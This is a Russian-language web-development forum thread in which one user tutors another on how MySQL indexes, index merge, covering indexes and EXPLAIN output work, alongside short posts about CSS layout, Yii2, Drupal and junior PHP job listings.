Создать индекс на колонки разных таблиц нельзя. На то он и индекс. Ведь индекс это просто список отсортированный значений поля, со ссылками на строки:

name | id
Антон | 1
Борис | 10
Василий | 12

За счет того что значения отсортированы, мы применяем бинарный поиск по ним (т.е. метод деления пополам: https://www.google.com/search?q=%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B9+%D0%BF%D0%BE%D0%B8%D1%81%D0%BA&ie=UTF-8 ) который имеет сложность O(log2(N)), Log2 от миллиона это около 20, то есть, как видишь довольно быстро.

Соответственно при джойне MySQL пытается угадать, выборка из какой таблицы даст меньше строк, и делает поиск в ней, а потом приджойнивает к ней значения из других таблиц.

Это если ты не ипоьзуешь LEFT JOIN который жестко определяет порядок джойнов.

Ну и в твоем случае стоит для начала посмотреть конкретный запрос и что показывает EXPLAIN для него. А там будем смотреть как это можно оптимизировать.

Так что давай запрос + EXPLAIN + твои мысли по поводу того в каком порядке выполнять запрос было бы эффективнее.

> один запрос не может использовать более одного индекса.


Да. Но вообще, есть такая штука как объединение индексов (intersect/merge) - делается 2 поиска по 2 индексам и результаты объединяются. Так например оптимизируется запрос WHERE x = 1 OR = 2, или WHERE x = 1 AND y = 2, при наличии индексов по x/y.

https://dev.mysql.com/doc/refman/5.5/en/index-merge-optimization.html

Но я бы на нее особо не надеялся. И она работает только в WHERE, а не в джойнах.

> Я ведь правильно понимаю, что при использовании индекса обязана быть задействована его левая часть?



Да. Это очевидно если посмотреть на устройство индекса. Только левые части отсортированы по возрастанию, правые (если их рассматривать отдельно) отсортированы только на участке где левые части одинаковы.

> Я пока не знаю что делать.


Давай посмотрим запрос и EXPLAIN, а то я не на 100% все понял.
#179 #561003
>>560751
>>560750
Там вот главная беда в том, что ширина у меня постоянная, а левый margin нарастает, придется видимо ширину блока с картинками увеличивать параллельно с margin, потому что когда margin-left по модулю становится больше ширины блока - блок уходит за зону видимости закономерно смещаясь всё нарастающим margin-left. Вот в этом весь цимес, как побороть это, другим способом? способ который я придумал (с увеличением ширины блока мне кажется неправильным
#180 #561011
Статье на ruhighload лойс за попытку объяснить все доступным языком, избегая употребления большого кол-ва терминов и абстрактных размытых понятий.
Но не хватает точности, некоторые утверждения вообще вводят в заблуждение.
Например, там жирным шрифтом как аксиома выделено, что "MySQL может использовать только один индекс для запроса". Но это не совсем так, они не упомянули про объединение индексов.
Еще одно скользкое место:
"Обычно колонки, которые используются в условиях WHERE, следует ставить в начало индекса. Колонки из ORDER BY — в конец."
С какого перепуга? Я это должен безоговорочно принять? Что значит "обычно"? В моем случае явно больше подходит как раз наоборот, поставить в начало индекса ту колонку, по которой идет сортировка.

Вот у меня на главной выбираются 20 записей, where status='published' order by added desc (дата добавления).
Я пока плохо понимаю, как интерпретировать ту информацию, что выдает explain, но судя по количеству затронутых записей (rows: 502652 в случае status_added и rows: 20 в случае added_status) выгоднее использовать второй вариант.
http://pastebin.com/gRjgRtW8

>>560967
Да, про объединение вроде понял, теперь есть идеи. Погоди, я сейчас пошаманю над этим, потом выложу отчеты по всем проблемным местам. Меня больше беспокоит запрос на странице поиска, где множество полей из разных таблиц.
3669 Кб, 320x167
#181 #561081
Уважаемые, у меня дурацкая проблема: как наименовать экшены, если требуется сделать без кемелкейза, в одно слово, но оно едва ли существует?

Например, в yii2 мне нужно сделать экшн для сброса пароля юзера, контроллер - user, а экшн как назвать? resetpassword?
123 Кб, 1325x727
48 Кб, 805x581
44 Кб, 774x567
#182 #561096
ЧЯДНТ?
Почему не выводится с помощью расширения?
#183 #561105
>>561096
все. я сделал
#184 #561112
>>558058 (OP)

> для изучающих с нуля, то есть если ты вообще ничего не знаешь, то надо начать с него


Не смог дописать игру про кубики из гайда, я успешен?
#185 #561116
>>558058 (OP)
Ну и сколько зарабатывает средня PHP макака из России на апворке?
#186 #561122
>>561112
А нет, смог. Я успешен.
#187 #561155
>>561011

Я подумал, написать готовый ответ будет неинтересно, давай я лучше дам вопросы которые помогут его найти.

> Например, там жирным шрифтом как аксиома выделено, что "MySQL может использовать только один индекс для запроса". Но это не совсем так, они не упомянули про объединение индексов.


Оно может оказаться не таким и выгодным если 2 отдельных выборки дают очень много результатов. Но конечно это все равно лучше чем FULL SCAN.

> "Обычно колонки, которые используются в условиях WHERE, следует ставить в начало индекса. Колонки из ORDER BY — в конец."


> С какого перепуга


Надо разобраться как вообще индекс работает вместе с сортировкой и как он может помочь (и при каком условии). Рассмотрим огромную таблицу и индекс по колонке a:

a | id
1 | ...
2 |
4 |
5 |
9 |
... и еще миллион значений

Если у нас есть запросы

SELECT × FROM t ORDER BY a LIMIT 10
SELECT × FROM t ORDER BY b LIMIT 10 (по колонке b нет индекса)
SELECT x FROM t WHERE a > ? ORDER BY a LIMIT 10
SELECT x FROM t WHERE b <> ? ORDER BY a LIMIT 10
SELECT MAX(a) FROM t
SELECT MAX(a) FROM t WHERE a < ?
SELECT x FROM t WHERE a < ? ORDER BY a DESC LIMIT 10

То есть ли разница в скорости выполнения? Подумай, как именно выполняются эти запросы, как бы ты их выполнял если бы был на месте mysql. В твоем арсенале возможность быстрого бинарного поиска в индексе.

Теперь по поводу сочетания WHERE + ORDER. Допустим есть огромная таблица и индекс из 2 полей:

a | b | id
1 | 1 | ...
1 | 2
1 | 3
2 | 1
2 | 3
4 | 1
4 | 2
4 | 3

Значения в нем отсортированы. Посмотри и подумай в каких запросах и как он может нам помочь и как будут выполняться эти запросы?

SELECT ... WHERE a = 1 ORDER BY b
SELECT ... WHERE b = 1 ORDER BY a

Напиши свое мнение, а я поправлю если ты где-то ошибся.

Ну и возьмем еще индекс из 3 полей, подумай какие запросы с сочетанием WHERE + ORDER им можно ускорить.

Если хочешь, ты можешь создать таблицу с индексами, прогнать вышеупомянутые запросы с параметром EXPLAIN и проверить свои догадки.

И наконец у индексов есть еще одно интересное свойство. Если индекс покрывающий (то есть содержит значения полей полностью, а не частично) - то из него можно сразу брать эти значения полей. Иначе мы делаем дополнительный поиск строки по ее id.

Поясню. Допустим есть индекс по колонкам a, b:

a | b | id
1 | 12 | 10001
2 | 2 | 17464
4 | 23 | 34567

Если мы делаем запрос вида SELECT d FROM table WHERE a = 1 то MySQL поступает так:

- находит в индексе быстрым методом бинарного поиска начало и конец области где a = 1 (в данном случае это одна строка)
- идет по этой области, берет из каждой строчки индекса id строки в таблице, находит эту строку в таблице, берет из нее поле d

В случае же если мы делаем запрос вида

SELECT b FROM table WHERE a = 1

То MySQL видит что b содержится в индексе. И она поступает так:

- находит область в индексе в которой значение a = 1
- проходит по ней и берет значения b из нее, не делая поиск строки в таблице.

Этот поиск строки он в общем обычно очень быстрый, но на коротких запросах отказ от него позволяет еще дополнительно ускорить запрос.

Заметь что этот же способ ускоряет выборки вроде

SELECT SUM(b) FROM t WHERE a = 1

Подробнее: http://dom.as/2007/01/26/mysql-covering-index-performance/
http://peter-zaitsev.livejournal.com/6949.html?nojs=1
#187 #561155
>>561011

Я подумал, написать готовый ответ будет неинтересно, давай я лучше дам вопросы которые помогут его найти.

> Например, там жирным шрифтом как аксиома выделено, что "MySQL может использовать только один индекс для запроса". Но это не совсем так, они не упомянули про объединение индексов.


Оно может оказаться не таким и выгодным если 2 отдельных выборки дают очень много результатов. Но конечно это все равно лучше чем FULL SCAN.

> "Обычно колонки, которые используются в условиях WHERE, следует ставить в начало индекса. Колонки из ORDER BY — в конец."


> С какого перепуга


Надо разобраться как вообще индекс работает вместе с сортировкой и как он может помочь (и при каком условии). Рассмотрим огромную таблицу и индекс по колонке a:

a | id
1 | ...
2 |
4 |
5 |
9 |
... и еще миллион значений

Если у нас есть запросы

SELECT × FROM t ORDER BY a LIMIT 10
SELECT × FROM t ORDER BY b LIMIT 10 (по колонке b нет индекса)
SELECT x FROM t WHERE a > ? ORDER BY a LIMIT 10
SELECT x FROM t WHERE b <> ? ORDER BY a LIMIT 10
SELECT MAX(a) FROM t
SELECT MAX(a) FROM t WHERE a < ?
SELECT x FROM t WHERE a < ? ORDER BY a DESC LIMIT 10

То есть ли разница в скорости выполнения? Подумай, как именно выполняются эти запросы, как бы ты их выполнял если бы был на месте mysql. В твоем арсенале возможность быстрого бинарного поиска в индексе.

Теперь по поводу сочетания WHERE + ORDER. Допустим есть огромная таблица и индекс из 2 полей:

a | b | id
1 | 1 | ...
1 | 2
1 | 3
2 | 1
2 | 3
4 | 1
4 | 2
4 | 3

Значения в нем отсортированы. Посмотри и подумай в каких запросах и как он может нам помочь и как будут выполняться эти запросы?

SELECT ... WHERE a = 1 ORDER BY b
SELECT ... WHERE b = 1 ORDER BY a

Напиши свое мнение, а я поправлю если ты где-то ошибся.

Ну и возьмем еще индекс из 3 полей, подумай какие запросы с сочетанием WHERE + ORDER им можно ускорить.

Если хочешь, ты можешь создать таблицу с индексами, прогнать вышеупомянутые запросы с параметром EXPLAIN и проверить свои догадки.

И наконец у индексов есть еще одно интересное свойство. Если индекс покрывающий (то есть содержит значения полей полностью, а не частично) - то из него можно сразу брать эти значения полей. Иначе мы делаем дополнительный поиск строки по ее id.

Поясню. Допустим есть индекс по колонкам a, b:

a | b | id
1 | 12 | 10001
2 | 2 | 17464
4 | 23 | 34567

Если мы делаем запрос вида SELECT d FROM table WHERE a = 1 то MySQL поступает так:

- находит в индексе быстрым методом бинарного поиска начало и конец области где a = 1 (в данном случае это одна строка)
- идет по этой области, берет из каждой строчки индекса id строки в таблице, находит эту строку в таблице, берет из нее поле d

В случае же если мы делаем запрос вида

SELECT b FROM table WHERE a = 1

То MySQL видит что b содержится в индексе. И она поступает так:

- находит область в индексе в которой значение a = 1
- проходит по ней и берет значения b из нее, не делая поиск строки в таблице.

Этот поиск строки он в общем обычно очень быстрый, но на коротких запросах отказ от него позволяет еще дополнительно ускорить запрос.

Заметь что этот же способ ускоряет выборки вроде

SELECT SUM(b) FROM t WHERE a = 1

Подробнее: http://dom.as/2007/01/26/mysql-covering-index-performance/
http://peter-zaitsev.livejournal.com/6949.html?nojs=1
#188 #561157
>>561011

Объединение 2 индексов (index merge/intersect) работает примерно так. Допустим у нас в WHERE 2 условия, например WHERE a = 1 AND b = 2 или WHERE a = 1 OR b = 2 и для каждого условия в отдельности мы можем использовать индекс. То есть мы можем в одном индексе найти записи с a = 1, а в другом с b = 2.

MySQL в этом случае делает 2 поиска, и в результате каждого поиска из индекса извлекаются id строк которые ему соответствуют. Затем эти 2 списка id строк объединяются либо условием AND либо OR. И далее делается выборка строк из таблицы по совпавшим номерам.

Соответственно если оба поиска дают мало строк то объединение эффективно. Если одно из условий или оба дают нам допустим по 500 000 строк, то перед нами встает задача прочитать в память огромное число id и объединить эти огромные списки - не очень-то выгодно. В зависимости от ситуации это может быть быстрее или медленнее чем фулл скан, то есть обход всех строчек в таблице и проверку каждой на соответсвие услвоиям.
#189 #561160
>>561081

разве в Юи нельзя делать экшены из нескольких слов?

Тут например про Юи 2 написано: http://www.yiiframework.com/doc-2.0/guide-start-hello.html (сейчас может не открываться, тогда гуглокеш: http://webcache.googleusercontent.com/search?q=cache%3Awww.yiiframework.com%2Fdoc-2.0%2Fguide-start-hello.html&ie=UTF-8 )
#190 #561161
>>561160
Ты про параметры? Но для экшена-"сброса" параметр будет всегда один - "пароль", тоже неизящно.
#191 #561169
>>561011

Этот пост стоит читать после того как ответишь на вопросы по индексам выше.

По поводу запроса на pastebin, сразу бросается в глаза несколько вещей:

- использование LEFT JOIN вместо простого JOIN принуждает MySQL выполнять джойны в заданном порядке, не позволяя выбрать оптимальный. Потому если где-то логика требует использовать INNER JOIN, стоит его использовать.

Далее, смотрим на EXPLAIN.

Мы видим что в первом случае MySQL начинает с выборки записей из огромной таблицы ad. Индексов подходящих для использования нет (possible_keys: NULL), значит используется фуллскан, полный проход по миллиону записей и проверка каждой записи на соответствие условиям (конкретно (STATUS="unpublished") ). Быстро это работать никогда не будет, так как надо прочитаь в память с диска эти записи, и даже если они есть в памяти, все равно обход миллиона записей дело небыстрое.

В нашем случае 100% объявлений соответствует услвоию WHERE, MysQL вынуждена выбрать в память все строки таблицы.

Также, мы видим Using filesort. Это значит что после отбора записей, MySQL их сортирует (ORDER BY added). Это тоже не быстрая операция, она имеет сложность по моему порядка O(N × log2N). Что хуже, так как записей очень много (вся таблица), они могут не вмещаться в выделенную область памяти (конкретно sort buffer, его размер по моему задается в конфиге mysql) и сортировка будет происходить по частям, с использованием временных файлов на диске, что очень сильно ее замедляет.

И что мы делаем далее? А далее мы применяем условие LIMIT 20 чтобы взять первые 20 записей. То есть мы грузим с диска миллион записей, мучительно их сортируем, вываливаясь из памяти - все ради того чтобы 999 980 из них выкинуть, а 20 оставить. Если посчитать КПД (20 поделить на миллион), то получаются доли процента.

Что меняется при наличии индекса? Давай выслушаем твое мнение.

> Я пока плохо понимаю, как интерпретировать ту информацию, что выдает explain


Изучай мануалы:

https://dev.mysql.com/doc/refman/5.5/en/execution-plan-information.html

https://www.google.com/search?q=habr+mysql+explain&ie=UTF-8
#191 #561169
>>561011

Этот пост стоит читать после того как ответишь на вопросы по индексам выше.

По поводу запроса на pastebin, сразу бросается в глаза несколько вещей:

- использование LEFT JOIN вместо простого JOIN принуждает MySQL выполнять джойны в заданном порядке, не позволяя выбрать оптимальный. Потому если где-то логика требует использовать INNER JOIN, стоит его использовать.

Далее, смотрим на EXPLAIN.

Мы видим что в первом случае MySQL начинает с выборки записей из огромной таблицы ad. Индексов подходящих для использования нет (possible_keys: NULL), значит используется фуллскан, полный проход по миллиону записей и проверка каждой записи на соответствие условиям (конкретно (STATUS="unpublished") ). Быстро это работать никогда не будет, так как надо прочитаь в память с диска эти записи, и даже если они есть в памяти, все равно обход миллиона записей дело небыстрое.

В нашем случае 100% объявлений соответствует услвоию WHERE, MysQL вынуждена выбрать в память все строки таблицы.

Также, мы видим Using filesort. Это значит что после отбора записей, MySQL их сортирует (ORDER BY added). Это тоже не быстрая операция, она имеет сложность по моему порядка O(N × log2N). Что хуже, так как записей очень много (вся таблица), они могут не вмещаться в выделенную область памяти (конкретно sort buffer, его размер по моему задается в конфиге mysql) и сортировка будет происходить по частям, с использованием временных файлов на диске, что очень сильно ее замедляет.

И что мы делаем далее? А далее мы применяем условие LIMIT 20 чтобы взять первые 20 записей. То есть мы грузим с диска миллион записей, мучительно их сортируем, вываливаясь из памяти - все ради того чтобы 999 980 из них выкинуть, а 20 оставить. Если посчитать КПД (20 поделить на миллион), то получаются доли процента.

Что меняется при наличии индекса? Давай выслушаем твое мнение.

> Я пока плохо понимаю, как интерпретировать ту информацию, что выдает explain


Изучай мануалы:

https://dev.mysql.com/doc/refman/5.5/en/execution-plan-information.html

https://www.google.com/search?q=habr+mysql+explain&ie=UTF-8
#192 #561172
>>561011

Ну и вдобавок рассмотрим еще джойны. Допустим у нас есть запрос

SELECT t.×, u.× FROM t JOIN u ON t.a = u.b WHERE u.c = ?

как именно он будет выполняться? Какие индексы помогут его выполнению, какие нет?

Что поменяется если заменить JOIN на LEFT JOIN?

Что поменяется если мы поменяем условие ON на ON t.a + u.b = 100 ?
16 Кб, 200x203
#193 #561178
>>558553
Где это верстальщики не работаю сразу в шаблонах?
#194 #561184
>>561155

> Подумай, как именно выполняются эти запросы, как бы ты их выполнял если бы был на месте mysql


Слушай, меня это больше всего злит, что нигде толком не объясняется, как на самом деле оно работает, и приходится угадывать (чаще всего неверно).
Но что поделать, ты наверное спросил, чтобы проверить, как я это понимаю, поэтому скажу коротко: никак.
Я могу конечно попробовать погадать, хотя это не очень продуктивно.

SELECT × FROM t ORDER BY a LIMIT 10
Выбирает из индекса все id записей в том порядке, в каком они хранятся в индексе, поскольку в индексе они уже отсортированы в нужном порядке.

SELECT × FROM t ORDER BY b LIMIT 10
Так как по колонке b нет индекса, то наверное будет столько раз проходить по всей таблице, сколько в ней записей. Берем первую запись из таблицы, кладем куда-то в память (в переменной), сравниваем с ней вторую.
b1 < b2 ? заменяем в памяти (в переменной) первую запись второй : continue
Сравниваем с третьей записью, снова проверяем значение колонки b. И так далее, пока не дойдем до конца таблицы. После чего заносим эту запись в результирующий набор.
Затем берем вторую запись, и снова в цикле проходим по всей таблице.
Вряд ли это так работает, потому что кол-во проверок будет равно квадрату кол-ва записей в таблице.

SELECT x FROM t WHERE a > ? ORDER BY a LIMIT 10
Бинарным поиском находим искомое значение в индексе и отдаем все записи после данной в том порядке, в каком они хранятся в индексе, сортировка не нужна, индекс уже отсортирован по определению.

SELECT x FROM t WHERE b <> ? ORDER BY a LIMIT 10
Проходим по всем строкам таблицы и отбираем строки, удовлетворяющие условию. Затем наверное бегаем по индексу по порядку и смотрим, есть ли id из индекса в полученном наборе, если есть, переставляем его на место, равное счетчику цикла.
Ну я имею ввиду цикл вроде
for ($i = 1; $i <= кол-во записей в цикле; $i++) {
if (in_array( индекс[$i] , результирующийНабор) ) поместить в конечныйНабор на позицию конечныйНабор[$i];
else continue;
}
Опять-таки, всего лишь догадки. Я не понимаю, зачем ты меня заставляешь выворачиваться наизнанку, но что поделать, мне же надо как-то выбить из тебя ответ.
Могу еще станцевать как собачка.

SELECT MAX(a) FROM t
Тут все просто, берем последнюю строку из индекса.

SELECT MAX(a) FROM t WHERE a < ?
Находим бинарным поиском значение ?, отбрасываем записи ниже найденной.
Затем возвращаем последнее значение из этого набора.

SELECT x FROM t WHERE a < ? ORDER BY a DESC LIMIT 10
То же самое, что и в предыдущем, операция сортировки даже не будет произведена, поскольку все уже отсортировано. LIMIT отберет первые 10 строк.

индекс по двум колонкам (a, b)
SELECT ... WHERE a = 1 ORDER BY b
SELECT ... WHERE b = 1 ORDER BY a
В первом случае индекс будет очень полезен, во втором я не представляю, как система будет разбирать запрос. Наверное, индекс в where будет проигнорирован, поскольку бесполезен (а если бы и сортировка была по правой части индекса, то он вообще не использовался бы).
Я думаю во втором примере индекс будет использован только для сортировки.

>прогнать вышеупомянутые запросы с параметром EXPLAIN и проверить свои догадки


SELECT × FROM t ORDER BY a LIMIT 10
Не использует индексы (type all, possible keys null), понятия не имею почему.
SELECT × FROM t ORDER BY b LIMIT 10
Тот же результат, но тут предсказуемо.
SELECT x FROM t WHERE a > ? ORDER BY a LIMIT 10
Индекс используется (range), но меня смущает кол-во строк, rows почти равно общему кол-ву строк в таблице.

> rows отображает число записей, обработанных для получения выходных данных


Не понимаю, под "записями" подразумевается исходная таблица или кол-во обращений к индексу? Я так понял, что нужно стремиться чтобы это значение было как можно меньшим, но здесь получилось почти 100% при использовании параметра, под который не подходит большинство записей. Увеличил значение, теперь около половины.
Одним словом, я не понимаю, как система отбирает это кол-во rows, откуда оно берется.
SELECT x FROM t WHERE b <> ? ORDER BY a LIMIT 10
Индекс не используется.

SELECT MAX(a) FROM t
Индекс не используется. Но почему?

>Extra: Select tables optimized away


Что?
SELECT MAX(a) FROM t WHERE a < ?
То же самое.

SELECT x FROM t WHERE a < ? ORDER BY a DESC LIMIT 10
Индекс используется. Rows, как я писал выше, варьируется в зависимости от значения, которое подставляем в where. Что такое rows не понимаю, сухое определение о "количестве затронутых записей" ни о чем не говорит. Вот у людей талант писать пустые слова. Много букв, а смысла ноль.

Составной индекс (a, b).
SELECT ... WHERE a = 1 ORDER BY b
Индекс используется, тип ref.

> все соответствующие строки индексного столбца считываются для каждой комбинации строк из предыдущей таблицы.


Что?
Хм, и у меня число rows совпало с count возвращенных записей. Совпадение, или rows и означает, сколько записей вернет запрос?

SELECT ... WHERE b = 1 ORDER BY a
И снова я ошибся, индекс используется, но какой-то не такой.

> type Index – сканируется все дерево индексов для нахождения соответствующих строк.


Что?

> Если индекс покрывающий (то есть содержит значения полей полностью, а не частично)


А обычный индекс что, хранит частично? Наверное, минимальный кусочек строки/числа, достаточный для корректной сортировки. Кажется, за эту длину отвечает key_len. Она одинаковая для всех строк индекса?

На самом деле зашел в тред по другому вопросу касательно работы mysql, но не буду вбрасывать, потому что ты меня опять закидаешь килобайтами текста, я еще эту порцию не переварил.
#194 #561184
>>561155

> Подумай, как именно выполняются эти запросы, как бы ты их выполнял если бы был на месте mysql


Слушай, меня это больше всего злит, что нигде толком не объясняется, как на самом деле оно работает, и приходится угадывать (чаще всего неверно).
Но что поделать, ты наверное спросил, чтобы проверить, как я это понимаю, поэтому скажу коротко: никак.
Я могу конечно попробовать погадать, хотя это не очень продуктивно.

SELECT × FROM t ORDER BY a LIMIT 10
Выбирает из индекса все id записей в том порядке, в каком они хранятся в индексе, поскольку в индексе они уже отсортированы в нужном порядке.

SELECT × FROM t ORDER BY b LIMIT 10
Так как по колонке b нет индекса, то наверное будет столько раз проходить по всей таблице, сколько в ней записей. Берем первую запись из таблицы, кладем куда-то в память (в переменной), сравниваем с ней вторую.
b1 < b2 ? заменяем в памяти (в переменной) первую запись второй : continue
Сравниваем с третьей записью, снова проверяем значение колонки b. И так далее, пока не дойдем до конца таблицы. После чего заносим эту запись в результирующий набор.
Затем берем вторую запись, и снова в цикле проходим по всей таблице.
Вряд ли это так работает, потому что кол-во проверок будет равно квадрату кол-ва записей в таблице.

SELECT x FROM t WHERE a > ? ORDER BY a LIMIT 10
Бинарным поиском находим искомое значение в индексе и отдаем все записи после данной в том порядке, в каком они хранятся в индексе, сортировка не нужна, индекс уже отсортирован по определению.

SELECT x FROM t WHERE b <> ? ORDER BY a LIMIT 10
Проходим по всем строкам таблицы и отбираем строки, удовлетворяющие условию. Затем наверное бегаем по индексу по порядку и смотрим, есть ли id из индекса в полученном наборе, если есть, переставляем его на место, равное счетчику цикла.
Ну я имею ввиду цикл вроде
for ($i = 1; $i <= кол-во записей в цикле; $i++) {
if (in_array( индекс[$i] , результирующийНабор) ) поместить в конечныйНабор на позицию конечныйНабор[$i];
else continue;
}
Опять-таки, всего лишь догадки. Я не понимаю, зачем ты меня заставляешь выворачиваться наизнанку, но что поделать, мне же надо как-то выбить из тебя ответ.
Могу еще станцевать как собачка.

SELECT MAX(a) FROM t
Тут все просто, берем последнюю строку из индекса.

SELECT MAX(a) FROM t WHERE a < ?
Находим бинарным поиском значение ?, отбрасываем записи ниже найденной.
Затем возвращаем последнее значение из этого набора.

SELECT x FROM t WHERE a < ? ORDER BY a DESC LIMIT 10
То же самое, что и в предыдущем, операция сортировки даже не будет произведена, поскольку все уже отсортировано. LIMIT отберет первые 10 строк.

индекс по двум колонкам (a, b)
SELECT ... WHERE a = 1 ORDER BY b
SELECT ... WHERE b = 1 ORDER BY a
В первом случае индекс будет очень полезен, во втором я не представляю, как система будет разбирать запрос. Наверное, индекс в where будет проигнорирован, поскольку бесполезен (а если бы и сортировка была по правой части индекса, то он вообще не использовался бы).
Я думаю во втором примере индекс будет использован только для сортировки.

>прогнать вышеупомянутые запросы с параметром EXPLAIN и проверить свои догадки


SELECT × FROM t ORDER BY a LIMIT 10
Не использует индексы (type all, possible keys null), понятия не имею почему.
SELECT × FROM t ORDER BY b LIMIT 10
Тот же результат, но тут предсказуемо.
SELECT x FROM t WHERE a > ? ORDER BY a LIMIT 10
Индекс используется (range), но меня смущает кол-во строк, rows почти равно общему кол-ву строк в таблице.

> rows отображает число записей, обработанных для получения выходных данных


Не понимаю, под "записями" подразумевается исходная таблица или кол-во обращений к индексу? Я так понял, что нужно стремиться чтобы это значение было как можно меньшим, но здесь получилось почти 100% при использовании параметра, под который не подходит большинство записей. Увеличил значение, теперь около половины.
Одним словом, я не понимаю, как система отбирает это кол-во rows, откуда оно берется.
SELECT x FROM t WHERE b <> ? ORDER BY a LIMIT 10
Индекс не используется.

SELECT MAX(a) FROM t
Индекс не используется. Но почему?

>Extra: Select tables optimized away


Что?
SELECT MAX(a) FROM t WHERE a < ?
То же самое.

SELECT x FROM t WHERE a < ? ORDER BY a DESC LIMIT 10
Индекс используется. Rows, как я писал выше, варьируется в зависимости от значения, которое подставляем в where. Что такое rows не понимаю, сухое определение о "количестве затронутых записей" ни о чем не говорит. Вот у людей талант писать пустые слова. Много букв, а смысла ноль.

Составной индекс (a, b).
SELECT ... WHERE a = 1 ORDER BY b
Индекс используется, тип ref.

> все соответствующие строки индексного столбца считываются для каждой комбинации строк из предыдущей таблицы.


Что?
Хм, и у меня число rows совпало с count возвращенных записей. Совпадение, или rows и означает, сколько записей вернет запрос?

SELECT ... WHERE b = 1 ORDER BY a
И снова я ошибся, индекс используется, но какой-то не такой.

> type Index – сканируется все дерево индексов для нахождения соответствующих строк.


Что?

> Если индекс покрывающий (то есть содержит значения полей полностью, а не частично)


А обычный индекс что, хранит частично? Наверное, минимальный кусочек строки/числа, достаточный для корректной сортировки. Кажется, за эту длину отвечает key_len. Она одинаковая для всех строк индекса?

На самом деле зашел в тред по другому вопросу касательно работы mysql, но не буду вбрасывать, потому что ты меня опять закидаешь килобайтами текста, я еще эту порцию не переварил.
#195 #561189
>>560888

>не вижу особого смысла превращать класс Page в абстракцию таблицы pages, можно, но в чем профиты? у меня оплата не по часам.


Ты говно и пишешь говно - вот почему, работу не найдешь, попробуй уборщиком.
#196 #561190
>>560843
Тебе уже стопяцот раз разжевали. Твое говно будет вешаться и хакаться, как два пальца об асфальт.
#197 #561191
>>561172
От выбранного оптимизатором алгоритма джоина зависит.
В оракле, например, индексы не используются для hash join - всё равно надо полностью сканить и считать хэши у обеих таблиц, так что пофиг на них.
По ораклу: https://docs.oracle.com/database/121/TGSQL/tgsql_join.htm
#198 #561202
Я определяю автоматически город посетителя сайта и для каждого города есть список адресов, скажем пунктов выдачи заказа. Идентификатор города я сохраняю в куки, а вот куда девать список адресов? Он может понадобиться в любой момент.
#199 #561211
Анон, что не так?
https://ideone.com/6hKlsc
#200 #561220
анончики, как в 7 друпале сделать обратный пагер на странице?
что бы было не 1 2 3 4 5 ,а
5 4 3 2 1

вот тут сурс на пагер https://api.drupal.org/api/drupal/includes!pager.inc/7
#201 #561222
Ананасы, вот я в вакансиях вижу требования вроде знания Фреймворков, ооп, аяксов. Это все Ок, но очень часто приписано что-то вроде "плюсом будет знакомсково с цмснейм". Еще нередко компании являются какими-то там партнерами 1с-битрикс.
Это все значит, что меня посадят чистить вордпресс? Или необязательно?
#202 #561224
>>561222
Пока на собеседование не придешь, не узнаешь.
#203 #561232
https://m.hh.ru/vacancy/14714101

Вот пример. Не вакансия, а ху пойми что. Ни по скилоам не понятно, кто им нужен, ни по уровню.
#204 #561234
>>561224
То есть наличие слова "цмс" в требованиях - совсем не детектор дно-конторы?
#205 #561238
>>561232
Что тут непонятного? Обычная джунская вакансия. По сути от тебя требуются базовые знания и не быть мудаком. В конторе есть как екомерс проекты, так и долгоиграющие серьезные приложения. Поначалу посадят говно вилкой чистить на всяких екомерсах, будут довать не критичные мелкие проекты. Просто что бы понять кто ты такой и чего от тебя ожидать. Если студия нормальная будут тебя прокачивать. Тим лид или ведущий разработчик будет делать код ревью, давать советы, рекомендации. Постепенно, с ростом скила, будут втягивать в основные проекты.
#206 #561246
>>561232
>>561232

Знание языков программирования Java или PHP.
Знание языка SQL (MySQL, PostgreSQL).
Знание Html, CSS и JavaScript.
Знание jQuery и понимание принципов работы AJAX.
Умение работать с SVN или GIT.
Знание ООП.
Знание алгоритмических основ, структур данных, оценка сложности алгоритмов.
Знание основных шаблонов проектирования.
Умение читать чужой код.

Ахуеть, реально столько нужно знать чтобы зарабатывать ссаные 25 к программированием?
#207 #561250
>>561246
У меня в мухосрани больше было за 10к. Последний вопрос на собеседовании был "Провод обжимал?"
#208 #561279
Столкнулся с проблемой, у меня есть изображения, отцентрированное по вертикали и горизонтали. У него position: absolute. И из-за этого проблемы. Я не могу обернуть его в див, так, чтобы он его облегал по ширине и высоте. Как решить проблему, учитывая, что ширины и высоты изображения я не знаю?
#209 #561298
>>561279
Покажи код
#211 #561314
>>561308
Ска, инет отрубили, и я теперь не могу изучать мои любимые PHP и JS(((((
#212 #561319
>>561314
я не при чем
#213 #561324
>>561319
Случайно прилипло(
#214 #561326
>>561250
В моей мухосране грузчики больше зарабатывают.
#215 #561328
>>561314

>мои любимые PHP и JS


Зачем тебе PHP если ты учишь JS?
#216 #561332
>>561328
Зачем есть капусту если есть картошка?
#217 #561348
>>561308
Как костыль я бы на jquery сделал
http://codepen.io/anon/pen/OyOdqv
Минус в том, сперва страница загрузится со стилями, а уж потом только сработают скрипты.
#218 #561353
>>561348
да ясное дело, что на jquery можно, но это зашквар, полюбас можно как-то и блок c position: relative; центрировать. Но у меня что-то не получается :(
#219 #561356
>>561353
А у родительского блока позиционирование fixed обязательно?
#220 #561357
>>561356
наверное, нет.
Мне просто нужно, чтобы он был на всю высоту и ширину страницы.
#221 #561363
>>561357
Я просто не совсем понимаю, у тебя блок list-photos вроде как подразумевает большое количество фото внутри себя, но центрируешь картинку не внутри блока с этой картинкой с параметром data-info, а внутри блока со всеми картинками, если ты добавишь туда ещё одну такую же картинку, она станет над первой.
Я бы предложил сделать вот так: http://codepen.io/anon/pen/wKPOwx
#222 #561366
>>561363
и блок со второй картинкой будет идти под первой
#223 #561368
>>561328
Мне на сервере и с базами данных больше нравится работать. А еще я не хочу быть ускоспециализированной корзиной, знающей один лишь JS.
#224 #561380
>>561368
>>561368

>А еще я не хочу быть ускоспециализированной корзиной, знающей один лишь JS.


Ну Java там выучи, MySQL, зачем тебе это PHP-говно, любой нормальный человек если узнает что ты знаешь PHP обоссыт тебя с ног до головы
#225 #561384
>>561246

Кокой ты разборчивый. У тебя наверно весь почтовый ящик забит приглашениями работать руководителем крупной международной компании?

Зарплата определяется рынком, а не твоими фантазиями или мнением анонимуса с форума.
#226 #561386
>>561363
на самом деле я просто лошара и класс listPhotos не переименовал. Подразумевается одна картинка
#227 #561387
>>561384
На апворке зная только один JS можно зарабатывать в 2 раза больше
#228 #561393
>>561386
Тогда зачем ты вокруг картинки два дива накрутил, один убери и все.
#229 #561400
